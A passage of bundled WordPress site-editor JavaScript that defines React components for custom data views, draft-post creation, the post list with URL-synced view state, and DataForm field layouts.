        label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
        className: "edit-site-sidebar-dataviews-dataview-item__dropdown-menu",
        toggleProps: {
          style: {
            color: 'inherit'
          },
          size: 'small'
        },
        children: ({
          onClose
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => {
              setIsRenaming(true);
              onClose();
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Rename')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: async () => {
              await deleteEntityRecord('postType', 'wp_dataviews', dataview.id, {
                force: true
              });
              if (isActive) {
                history.replace({
                  postType: location.query.postType
                });
              }
              onClose();
            },
            isDestructive: true,
            children: (0,external_wp_i18n_namespaceObject.__)('Delete')
          })]
        })
      })
    }), isRenaming && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
      title: (0,external_wp_i18n_namespaceObject.__)('Rename'),
      onRequestClose: () => {
        setIsRenaming(false);
      },
      focusOnMount: "firstContentElement",
      size: "small",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenameItemModalContent, {
        dataviewId: dataviewId,
        setIsRenaming: setIsRenaming,
        currentTitle: dataview.title
      })
    })]
  });
}
function useCustomDataViews(type) {
  const customDataViews = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecords
    } = select(external_wp_coreData_namespaceObject.store);
    const dataViewTypeRecords = getEntityRecords('taxonomy', 'wp_dataviews_type', {
      slug: type
    });
    if (!dataViewTypeRecords || dataViewTypeRecords.length === 0) {
      return custom_dataviews_list_EMPTY_ARRAY;
    }
    const dataViews = getEntityRecords('postType', 'wp_dataviews', {
      wp_dataviews_type: dataViewTypeRecords[0].id,
      orderby: 'date',
      order: 'asc'
    });
    if (!dataViews) {
      return custom_dataviews_list_EMPTY_ARRAY;
    }
    return dataViews;
  });
  return customDataViews;
}
function CustomDataViewsList({
  type,
  activeView,
  isCustom
}) {
  const customDataViews = useCustomDataViews(type);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-sidebar-navigation-screen-dataviews__group-header",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
        level: 2,
        children: (0,external_wp_i18n_namespaceObject.__)('Custom Views')
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      className: "edit-site-sidebar-navigation-screen-dataviews__custom-items",
      children: [customDataViews.map(customViewRecord => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CustomDataViewItem, {
          dataviewId: customViewRecord.id,
          isActive: isCustom && Number(activeView) === customViewRecord.id
        }, customViewRecord.id);
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewItem, {
        type: type
      })]
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





const {
  useLocation: sidebar_dataviews_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function DataViewsSidebarContent({
  postType
}) {
  const {
    query: {
      activeView = 'all',
      isCustom = 'false'
    }
  } = sidebar_dataviews_useLocation();
  const defaultViews = useDefaultViews({
    postType
  });
  if (!postType) {
    return null;
  }
  const isCustomBoolean = isCustom === 'true';
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      className: "edit-site-sidebar-dataviews",
      children: defaultViews.map(dataview => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewItem, {
          slug: dataview.slug,
          title: dataview.title,
          icon: dataview.icon,
          type: dataview.view.type,
          isActive: !isCustomBoolean && dataview.slug === activeView,
          isCustom: false
        }, dataview.slug);
      })
    }), window?.__experimentalCustomViews && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CustomDataViewsList, {
      activeView: activeView,
      type: postType,
      isCustom: true
    })]
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/drawer-right.js
/**
 * WordPress dependencies
 */


const drawerRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  width: "24",
  height: "24",
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z"
  })
});
/* harmony default export */ const drawer_right = (drawerRight);

;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-post/index.js
/**
 * WordPress dependencies
 */









function AddNewPostModal({
  postType,
  onSave,
  onClose
}) {
  const labels = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getPostType(postType)?.labels, [postType]);
  const [isCreatingPost, setIsCreatingPost] = (0,external_wp_element_namespaceObject.useState)(false);
  const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createErrorNotice,
    createSuccessNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    resolveSelect
  } = (0,external_wp_data_namespaceObject.useRegistry)();
  async function createPost(event) {
    event.preventDefault();
    if (isCreatingPost) {
      return;
    }
    setIsCreatingPost(true);
    try {
      const postTypeObject = await resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(postType);
      const newPage = await saveEntityRecord('postType', postType, {
        status: 'draft',
        title,
        slug: title !== null && title !== void 0 ? title : undefined,
        content: !!postTypeObject.template && postTypeObject.template.length ? (0,external_wp_blocks_namespaceObject.serialize)((0,external_wp_blocks_namespaceObject.synchronizeBlocksWithTemplate)([], postTypeObject.template)) : undefined
      }, {
        throwOnError: true
      });
      onSave(newPage);
      createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Title of the created post or template, e.g: "Hello world".
      (0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(newPage.title?.rendered || title)), {
        type: 'snackbar'
      });
    } catch (error) {
      const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while creating the item.');
      createErrorNotice(errorMessage, {
        type: 'snackbar'
      });
    } finally {
      setIsCreatingPost(false);
    }
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    title:
    // translators: %s: post type singular_name label e.g: "Page".
    (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('Draft new: %s'), labels?.singular_name),
    onRequestClose: onClose,
    focusOnMount: "firstContentElement",
    size: "small",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
      onSubmit: createPost,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: 4,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
          __next40pxDefaultSize: true,
          __nextHasNoMarginBottom: true,
          label: (0,external_wp_i18n_namespaceObject.__)('Title'),
          onChange: setTitle,
          placeholder: (0,external_wp_i18n_namespaceObject.__)('No title'),
          value: title
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          spacing: 2,
          justify: "end",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "tertiary",
            onClick: onClose,
            children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "primary",
            type: "submit",
            isBusy: isCreatingPost,
            "aria-disabled": isCreatingPost,
            children: (0,external_wp_i18n_namespaceObject.__)('Create draft')
          })]
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/post-list/index.js
/**
 * WordPress dependencies
 */












/**
 * Internal dependencies
 */







const {
  usePostActions: post_list_usePostActions,
  usePostFields
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  useLocation: post_list_useLocation,
  useHistory: post_list_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const {
  useEntityRecordsWithPermissions: post_list_useEntityRecordsWithPermissions
} = unlock(external_wp_coreData_namespaceObject.privateApis);
const post_list_EMPTY_ARRAY = [];
const getDefaultView = (defaultViews, activeView) => {
  return defaultViews.find(({
    slug
  }) => slug === activeView)?.view;
};
const getCustomView = editedEntityRecord => {
  if (!editedEntityRecord?.content) {
    return undefined;
  }
  const content = JSON.parse(editedEntityRecord.content);
  if (!content) {
    return undefined;
  }
  return {
    ...content,
    ...default_views_defaultLayouts[content.type]
  };
};

/**
 * This function abstracts working with default & custom views by
 * providing a [ state, setState ] tuple based on the URL parameters.
 *
 * Consumers use the provided tuple to work with state
 * and don't have to deal with the specifics of default & custom views.
 *
 * @param {string} postType Post type to retrieve default views for.
 * @return {Array} The [ state, setState ] tuple.
 */
function useView(postType) {
  const {
    path,
    query: {
      activeView = 'all',
      isCustom = 'false',
      layout
    }
  } = post_list_useLocation();
  const history = post_list_useHistory();
  const defaultViews = useDefaultViews({
    postType
  });
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const editedEntityRecord = (0,external_wp_data_namespaceObject.useSelect)(select => {
    if (isCustom !== 'true') {
      return undefined;
    }
    const {
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    return getEditedEntityRecord('postType', 'wp_dataviews', Number(activeView));
  }, [activeView, isCustom]);
  const [view, setView] = (0,external_wp_element_namespaceObject.useState)(() => {
    let initialView;
    if (isCustom === 'true') {
      var _getCustomView;
      initialView = (_getCustomView = getCustomView(editedEntityRecord)) !== null && _getCustomView !== void 0 ? _getCustomView : {
        type: layout !== null && layout !== void 0 ? layout : LAYOUT_LIST
      };
    } else {
      var _getDefaultView;
      initialView = (_getDefaultView = getDefaultView(defaultViews, activeView)) !== null && _getDefaultView !== void 0 ? _getDefaultView : {
        type: layout !== null && layout !== void 0 ? layout : LAYOUT_LIST
      };
    }
    const type = layout !== null && layout !== void 0 ? layout : initialView.type;
    return {
      ...initialView,
      type,
      ...default_views_defaultLayouts[type]
    };
  });
  const setViewWithUrlUpdate = (0,external_wp_compose_namespaceObject.useEvent)(newView => {
    setView(newView);
    if (isCustom === 'true' && editedEntityRecord?.id) {
      editEntityRecord('postType', 'wp_dataviews', editedEntityRecord?.id, {
        content: JSON.stringify(newView)
      });
    }
    const currentUrlLayout = layout !== null && layout !== void 0 ? layout : LAYOUT_LIST;
    if (newView.type !== currentUrlLayout) {
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
        layout: newView.type
      }));
    }
  });

  // When layout URL param changes, update the view type
  // without affecting any other config.
  const onUrlLayoutChange = (0,external_wp_compose_namespaceObject.useEvent)(() => {
    setView(prevView => {
      const newType = layout !== null && layout !== void 0 ? layout : LAYOUT_LIST;
      if (newType === prevView.type) {
        return prevView;
      }
      return {
        ...prevView,
        type: newType,
        ...default_views_defaultLayouts[newType]
      };
    });
  });
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    onUrlLayoutChange();
  }, [onUrlLayoutChange, layout]);

  // When activeView or isCustom URL parameters change, reset the view.
  const onUrlActiveViewChange = (0,external_wp_compose_namespaceObject.useEvent)(() => {
    let newView;
    if (isCustom === 'true') {
      newView = getCustomView(editedEntityRecord);
    } else {
      newView = getDefaultView(defaultViews, activeView);
    }
    if (newView) {
      const type = layout !== null && layout !== void 0 ? layout : newView.type;
      setView({
        ...newView,
        type,
        ...default_views_defaultLayouts[type]
      });
    }
  });
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    onUrlActiveViewChange();
  }, [onUrlActiveViewChange, activeView, isCustom, defaultViews, editedEntityRecord]);
  return [view, setViewWithUrlUpdate];
}
const DEFAULT_STATUSES = 'draft,future,pending,private,publish'; // All but 'trash'.

function getItemId(item) {
  return item.id.toString();
}
function getItemLevel(item) {
  return item.level;
}
function PostList({
  postType
}) {
  var _postId$split, _data$map, _usePrevious;
  const [view, setView] = useView(postType);
  const defaultViews = useDefaultViews({
    postType
  });
  const history = post_list_useHistory();
  const location = post_list_useLocation();
  const {
    postId,
    quickEdit = false,
    isCustom,
    activeView = 'all'
  } = location.query;
  const [selection, setSelection] = (0,external_wp_element_namespaceObject.useState)((_postId$split = postId?.split(',')) !== null && _postId$split !== void 0 ? _postId$split : []);
  const onChangeSelection = (0,external_wp_element_namespaceObject.useCallback)(items => {
    var _location$query$isCus;
    setSelection(items);
    if (((_location$query$isCus = location.query.isCustom) !== null && _location$query$isCus !== void 0 ? _location$query$isCus : 'false') === 'false') {
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(location.path, {
        postId: items.join(',')
      }));
    }
  }, [location.path, location.query.isCustom, history]);
  const getActiveViewFilters = (views, match) => {
    var _found$filters;
    const found = views.find(({
      slug
    }) => slug === match);
    return (_found$filters = found?.filters) !== null && _found$filters !== void 0 ? _found$filters : [];
  };
  const {
    isLoading: isLoadingFields,
    fields: _fields
  } = usePostFields({
    postType
  });
  const fields = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const activeViewFilters = getActiveViewFilters(defaultViews, activeView).map(({
      field
    }) => field);
    return _fields.map(field => ({
      ...field,
      elements: activeViewFilters.includes(field.id) ? [] : field.elements
    }));
  }, [_fields, defaultViews, activeView]);
  const queryArgs = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const filters = {};
    view.filters?.forEach(filter => {
      if (filter.field === 'status' && filter.operator === OPERATOR_IS_ANY) {
        filters.status = filter.value;
      }
      if (filter.field === 'author' && filter.operator === OPERATOR_IS_ANY) {
        filters.author = filter.value;
      } else if (filter.field === 'author' && filter.operator === OPERATOR_IS_NONE) {
        filters.author_exclude = filter.value;
      }
    });

    // The bundled views want data filtered without displaying the filter.
    const activeViewFilters = getActiveViewFilters(defaultViews, activeView);
    activeViewFilters.forEach(filter => {
      if (filter.field === 'status' && filter.operator === OPERATOR_IS_ANY) {
        filters.status = filter.value;
      }
      if (filter.field === 'author' && filter.operator === OPERATOR_IS_ANY) {
        filters.author = filter.value;
      } else if (filter.field === 'author' && filter.operator === OPERATOR_IS_NONE) {
        filters.author_exclude = filter.value;
      }
    });

    // We want to provide a different default item for the status filter
    // than the REST API provides.
    if (!filters.status || filters.status === '') {
      filters.status = DEFAULT_STATUSES;
    }
    return {
      per_page: view.perPage,
      page: view.page,
      _embed: 'author',
      order: view.sort?.direction,
      orderby: view.sort?.field,
      orderby_hierarchy: !!view.showLevels,
      search: view.search,
      ...filters
    };
  }, [view, activeView, defaultViews]);
  const {
    records,
    isResolving: isLoadingData,
    totalItems,
    totalPages
  } = post_list_useEntityRecordsWithPermissions('postType', postType, queryArgs);

  // The REST API sort the authors by ID, but we want to sort them by name.
  const data = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!isLoadingFields && view?.sort?.field === 'author') {
      return filterSortAndPaginate(records, {
        sort: {
          ...view.sort
        }
      }, fields).data;
    }
    return records;
  }, [records, fields, isLoadingFields, view?.sort]);
  const ids = (_data$map = data?.map(record => getItemId(record))) !== null && _data$map !== void 0 ? _data$map : [];
  const prevIds = (_usePrevious = (0,external_wp_compose_namespaceObject.usePrevious)(ids)) !== null && _usePrevious !== void 0 ? _usePrevious : [];
  const deletedIds = prevIds.filter(id => !ids.includes(id));
  const postIdWasDeleted = deletedIds.includes(postId);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (postIdWasDeleted) {
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(location.path, {
        postId: undefined
      }));
    }
  }, [history, postIdWasDeleted, location.path]);
  const paginationInfo = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    totalItems,
    totalPages
  }), [totalItems, totalPages]);
  const {
    labels,
    canCreateRecord
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getPostType,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      labels: getPostType(postType)?.labels,
      canCreateRecord: canUser('create', {
        kind: 'postType',
        name: postType
      })
    };
  }, [postType]);
  const postTypeActions = post_list_usePostActions({
    postType,
    context: 'list'
  });
  const editAction = useEditPostAction();
  const actions = (0,external_wp_element_namespaceObject.useMemo)(() => [editAction, ...postTypeActions], [postTypeActions, editAction]);
  const [showAddPostModal, setShowAddPostModal] = (0,external_wp_element_namespaceObject.useState)(false);
  const openModal = () => setShowAddPostModal(true);
  const closeModal = () => setShowAddPostModal(false);
  const handleNewPage = ({
    type,
    id
  }) => {
    history.navigate(`/${type}/${id}?canvas=edit`);
    closeModal();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Page, {
    title: labels?.name,
    actions: labels?.add_new_item && canCreateRecord && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        variant: "primary",
        onClick: openModal,
        __next40pxDefaultSize: true,
        children: labels.add_new_item
      }), showAddPostModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewPostModal, {
        postType: postType,
        onSave: handleNewPage,
        onClose: closeModal
      })]
    }),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViews, {
      paginationInfo: paginationInfo,
      fields: fields,
      actions: actions,
      data: data || post_list_EMPTY_ARRAY,
      isLoading: isLoadingData || isLoadingFields,
      view: view,
      onChangeView: setView,
      selection: selection,
      onChangeSelection: onChangeSelection,
      isItemClickable: item => item.status !== 'trash',
      onClickItem: ({
        id
      }) => {
        history.navigate(`/${postType}/${id}?canvas=edit`);
      },
      getItemId: getItemId,
      getItemLevel: getItemLevel,
      defaultLayouts: default_views_defaultLayouts,
      header: window.__experimentalQuickEditDataViews && view.type !== LAYOUT_LIST && postType === 'page' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        size: "compact",
        isPressed: quickEdit,
        icon: drawer_right,
        label: (0,external_wp_i18n_namespaceObject.__)('Details'),
        onClick: () => {
          history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(location.path, {
            quickEdit: quickEdit ? undefined : true
          }));
        }
      })
    }, activeView + isCustom)
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataform-context/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

const DataFormContext = (0,external_wp_element_namespaceObject.createContext)({
  fields: []
});
function DataFormProvider({
  fields,
  children
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormContext.Provider, {
    value: {
      fields
    },
    children: children
  });
}
/* harmony default export */ const dataform_context = (DataFormContext);

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/is-combined-field.js
/**
 * Internal dependencies
 */

function isCombinedField(field) {
  return field.children !== undefined;
}

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/regular/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





function regular_Header({
  title
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "dataforms-layouts-regular__header",
    spacing: 4,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "center",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
        level: 2,
        size: 13,
        children: title
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {})]
    })
  });
}
function FormRegularField({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  var _field$labelPosition;
  const {
    fields
  } = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
  const form = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (isCombinedField(field)) {
      return {
        fields: field.children.map(child => {
          if (typeof child === 'string') {
            return {
              id: child
            };
          }
          return child;
        }),
        type: 'regular'
      };
    }
    return {
      type: 'regular',
      fields: []
    };
  }, [field]);
  if (isCombinedField(field)) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [!hideLabelFromVision && field.label && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(regular_Header, {
        title: field.label
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
        data: data,
        form: form,
        onChange: onChange
      })]
    });
  }
  const labelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : 'top';
  const fieldDefinition = fields.find(fieldDef => fieldDef.id === field.id);
  if (!fieldDefinition) {
    return null;
  }
  if (labelPosition === 'side') {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      className: "dataforms-layouts-regular__field",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataforms-layouts-regular__field-label",
        children: fieldDefinition.label
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataforms-layouts-regular__field-control",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.Edit, {
          data: data,
          field: fieldDefinition,
          onChange: onChange,
          hideLabelFromVision: true
        }, fieldDefinition.id)
      })]
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "dataforms-layouts-regular__field",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.Edit, {
      data: data,
      field: fieldDefinition,
      onChange: onChange,
      hideLabelFromVision: labelPosition === 'none' ? true : hideLabelFromVision
    })
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/panel/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */





function DropdownHeader({
  title,
  onClose
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "dataforms-layouts-panel__dropdown-header",
    spacing: 4,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "center",
      children: [title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
        level: 2,
        size: 13,
        children: title
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}), onClose && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        label: (0,external_wp_i18n_namespaceObject.__)('Close'),
        icon: close_small,
        onClick: onClose,
        size: "small"
      })]
    })
  });
}
function PanelDropdown({
  fieldDefinition,
  popoverAnchor,
  labelPosition = 'side',
  data,
  onChange,
  field
}) {
  const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
  const form = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (isCombinedField(field)) {
      return {
        type: 'regular',
        fields: field.children.map(child => {
          if (typeof child === 'string') {
            return {
              id: child
            };
          }
          return child;
        })
      };
    }
    // If not explicit children return the field id itself.
    return {
      type: 'regular',
      fields: [{
        id: field.id
      }]
    };
  }, [field]);

  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
    contentClassName: "dataforms-layouts-panel__field-dropdown",
    popoverProps: popoverProps,
    focusOnMount: true,
    toggleProps: {
      size: 'compact',
      variant: 'tertiary',
      tooltipPosition: 'middle left'
    },
    renderToggle: ({
      isOpen,
      onToggle
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      className: "dataforms-layouts-panel__field-control",
      size: "compact",
      variant: ['none', 'top'].includes(labelPosition) ? 'link' : 'tertiary',
      "aria-expanded": isOpen,
      "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Field name.
      (0,external_wp_i18n_namespaceObject._x)('Edit %s', 'field'), fieldLabel),
      onClick: onToggle,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.render, {
        item: data
      })
    }),
    renderContent: ({
      onClose
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DropdownHeader, {
        title: fieldLabel,
        onClose: onClose
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
        data: data,
        form: form,
        onChange: onChange,
        children: (FieldLayout, nestedField) => {
          var _form$fields;
          return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldLayout, {
            data: data,
            field: nestedField,
            onChange: onChange,
            hideLabelFromVision: ((_form$fields = form?.fields) !== null && _form$fields !== void 0 ? _form$fields : []).length < 2
          }, nestedField.id);
        }
      })]
    })
  });
}
function FormPanelField({
  data,
  field,
  onChange
}) {
  var _field$labelPosition;
  const {
    fields
  } = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
  const fieldDefinition = fields.find(fieldDef => {
    // Default to the first child if it is a combined field.
    if (isCombinedField(field)) {
      const children = field.children.filter(child => typeof child === 'string' || !isCombinedField(child));
      const firstChildFieldId = typeof children[0] === 'string' ? children[0] : children[0].id;
      return fieldDef.id === firstChildFieldId;
    }
    return fieldDef.id === field.id;
  });
  const labelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : 'side';

  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  if (!fieldDefinition) {
    return null;
  }
  const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
  if (labelPosition === 'top') {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      className: "dataforms-layouts-panel__field",
      spacing: 0,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataforms-layouts-panel__field-label",
        style: {
          paddingBottom: 0
        },
        children: fieldLabel
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataforms-layouts-panel__field-control",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
          field: field,
          popoverAnchor: popoverAnchor,
          fieldDefinition: fieldDefinition,
          data: data,
          onChange: onChange,
          labelPosition: labelPosition
        })
      })]
    });
  }
  if (labelPosition === 'none') {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "dataforms-layouts-panel__field",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
        field: field,
        popoverAnchor: popoverAnchor,
        fieldDefinition: fieldDefinition,
        data: data,
        onChange: onChange,
        labelPosition: labelPosition
      })
    });
  }

  // Defaults to label position side.
